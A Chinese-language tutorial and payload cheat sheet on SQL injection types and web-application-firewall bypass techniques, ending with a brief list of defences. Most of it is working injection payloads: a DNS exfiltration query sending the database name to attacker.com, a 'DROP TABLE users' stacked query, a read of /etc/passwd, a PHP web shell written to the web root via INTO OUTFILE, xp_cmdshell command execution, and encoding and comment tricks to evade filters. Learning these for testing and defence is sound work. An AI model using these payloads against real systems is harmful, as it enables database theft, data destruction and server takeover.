SQL-Inject 注入类型及绕过waf思维分析原理-附带Payloads备忘录大全(精选)
字数 1357 2025-08-10 16:34:28
SQL注入类型及绕过WAF技术详解
一、SQL注入基础概念
SQL注入(SQL Injection)是十大Web安全漏洞之一,攻击者通过在Web应用程序的输入字段中插入恶意SQL代码,欺骗数据库服务器执行非授权操作,可能导致数据泄露、篡改或删除。
数据库基本结构
- 关系型数据库:MySQL/Oracle/MSSQL/PostgreSQL等
- 非关系型数据库:Redis/MongoDB/Memcache/SQLite等
- 数据库结构:数据库→表→字段→数据
基本SQL操作
# 选择数据库
USE database_name;
# 查询数据
SELECT * FROM table_name;
# 插入数据
INSERT INTO table_name (field1, field2) VALUES (value1, value2);
# 更新数据
UPDATE table_name SET field1=new_value WHERE condition;
# 删除数据
DELETE FROM table_name WHERE condition;
二、SQL注入原理与流程
1. MySQL注释方法
#:行尾注释--(注意空格):SQL标准注释/* */:多行注释
2. 注入测试方法
通过向输入参数追加测试语句,观察响应变化判断是否存在漏洞:
字符型注入测试:
' or '1
' or 1 -- -
" or "" = "
" or 1=1 -- -
'='
'like'
'=0--+
数字型注入测试:
1 or 1=1 -- qwe
延时注入测试:
admin' or sleep(3) -- qwe
3. 注入基本流程
- 发现漏洞
- 查询当前列数
- 查询数据库信息/表名
- 查询列属性
- 获取数据
三、列数探测技术
1. ORDER BY方法
1' ORDER BY 1--+ # 正常
1' ORDER BY 2--+ # 正常
...
1' ORDER BY n--+ # 报错时n-1即为列数
2. GROUP BY方法
1' GROUP BY 1--+
1' GROUP BY 2--+
...
1' GROUP BY n--+ # 报错时n-1即为列数
3. UNION SELECT方法
1' UNION SELECT 1,2,3,...,n--+ # 当n等于实际列数时正常返回
四、信息提取技术
1. 提取系统信息
# 版本信息
' UNION SELECT @@version --+
# 当前数据库
' UNION SELECT database() --+
2. 提取表名
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() --+
# 混淆版
' UniOn Select 1,2,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=database() --+
3. 提取列名
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='table_name' --+
4. 提取数据
' UNION SELECT group_concat(column_name) FROM table_name --+
五、SQL注入类型详解
1. 显错注入(Error-based)
利用数据库错误信息显示进行注入:
admin' AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null) --+
典型应用:
- 获取版本信息
- 获取数据库名
- 获取表名和字段名
2. 盲注(Blind SQL Injection)
基于响应内容变化判断:
admin' AND substring(database(),1,1)='a' --+
3. 延时注入(Time-based)
基于响应时间判断:
admin' AND if(length(database())=8,sleep(3),1) --+
4. 布尔注入(Boolean-based)
基于页面返回内容是否存在判断:
admin' AND 1=1 --+ # 返回正常内容
admin' AND 1=2 --+ # 返回空内容
5. DNS注入(DNS Exfiltration)
利用DNS请求外带数据:
SELECT load_file(concat("//",database(),".attacker.com/abc"))
前提条件:
- 拥有FILE权限
- 数据库支持UNC路径
6. 宽字节注入
利用编码转换绕过过滤:
# GBK编码环境
%df' UNION SELECT 1,database()%23
7. 堆叠注入(Stacked Queries)
利用分号执行多条语句:
1'; DROP TABLE users; --+
8. 二次注入(Second Order)
利用已存储的数据进行注入:
# 第一次:注册用户名为 admin' --
# 第二次:修改密码时执行
UPDATE users SET password='newpass' WHERE username='admin' --'
9. HTTP头注入(Header Injection)
在HTTP头字段中注入:
# User-Agent注入
User-Agent: ' UNION SELECT 1,2,3 --+
六、WAF绕过技术
1. 大小写混淆
SeLeCt * FrOm users WhErE id=1
2. 内联注释
/*!SELECT*/ * FROM users WHERE id=1
3. 编码绕过
# URL编码
%27%20%4F%52%20%31%3D%31%20%2D%2D%2B
# 十六进制
0x27206F7220313D31202D2D2B
4. 等价函数替换
# 代替sleep()
benchmark(10000000,md5('test'))
5. 注释分割
SEL/*xxx*/ECT * FRO/*xxx*/M users WH/*xxx*/ERE id=1
6. 空白符替换
SELECT%09*%0DFROM%0Cusers%0BWHERE%0Aid=1
7. 字符串拼接
CONCAT('sel','ect') CONCAT(' * fr','om users')
七、防御措施
- 参数化查询:使用预处理语句
- 输入验证:白名单过滤
- 最小权限原则:限制数据库账户权限
- 错误处理:自定义错误页面
- WAF部署:Web应用防火墙
- 编码转换:统一字符编码
- 框架安全:使用ORM框架
八、常用Payloads备忘录
基础测试
' OR '1'='1
" OR "" = "
' OR 'x'='x
' OR 1=1 --+
' OR '1'='1' --+
列数探测
ORDER BY n--+
UNION SELECT 1,2,...,n--+
信息收集
# 数据库版本
@@version
version()
# 当前用户
user()
current_user()
# 数据库名
database()
schema()
表名获取
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
数据获取
SELECT group_concat(column_name) FROM table_name
文件操作
# 读取文件
SELECT load_file('/etc/passwd')
# 写入文件
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/shell.php'
命令执行
# MySQL
SELECT sys_exec('whoami')
# MSSQL
EXEC xp_cmdshell 'whoami'
九、高级技巧
1. 绕过引号限制
# 使用CHAR函数
SELECT * FROM users WHERE username=CHAR(97,100,109,105,110)
2. 绕过空格过滤
SELECT/**/*/**/FROM/**/users/**/WHERE/**/id=1
3. 盲注自动化
# 二分法加速盲注
' AND ascii(substring(database(),1,1))>96 --+
4. 多语句执行
1'; SELECT * FROM users; --+
5. 时间盲注优化
# 替代sleep()
SELECT BENCHMARK(10000000,MD5('test'))
十、实战思维
- 观察响应:注意错误信息、响应时间、返回内容变化
- 灵活变通:根据环境调整Payload
- 逐步深入:从信息收集到数据获取
- 绕过思维:尝试不同编码、注释、等价函数
- 自动化工具:sqlmap等工具辅助测试
通过理解这些技术原理和思维方法,安全研究人员可以更有效地发现和利用SQL注入漏洞,同时也能更好地防御此类攻击。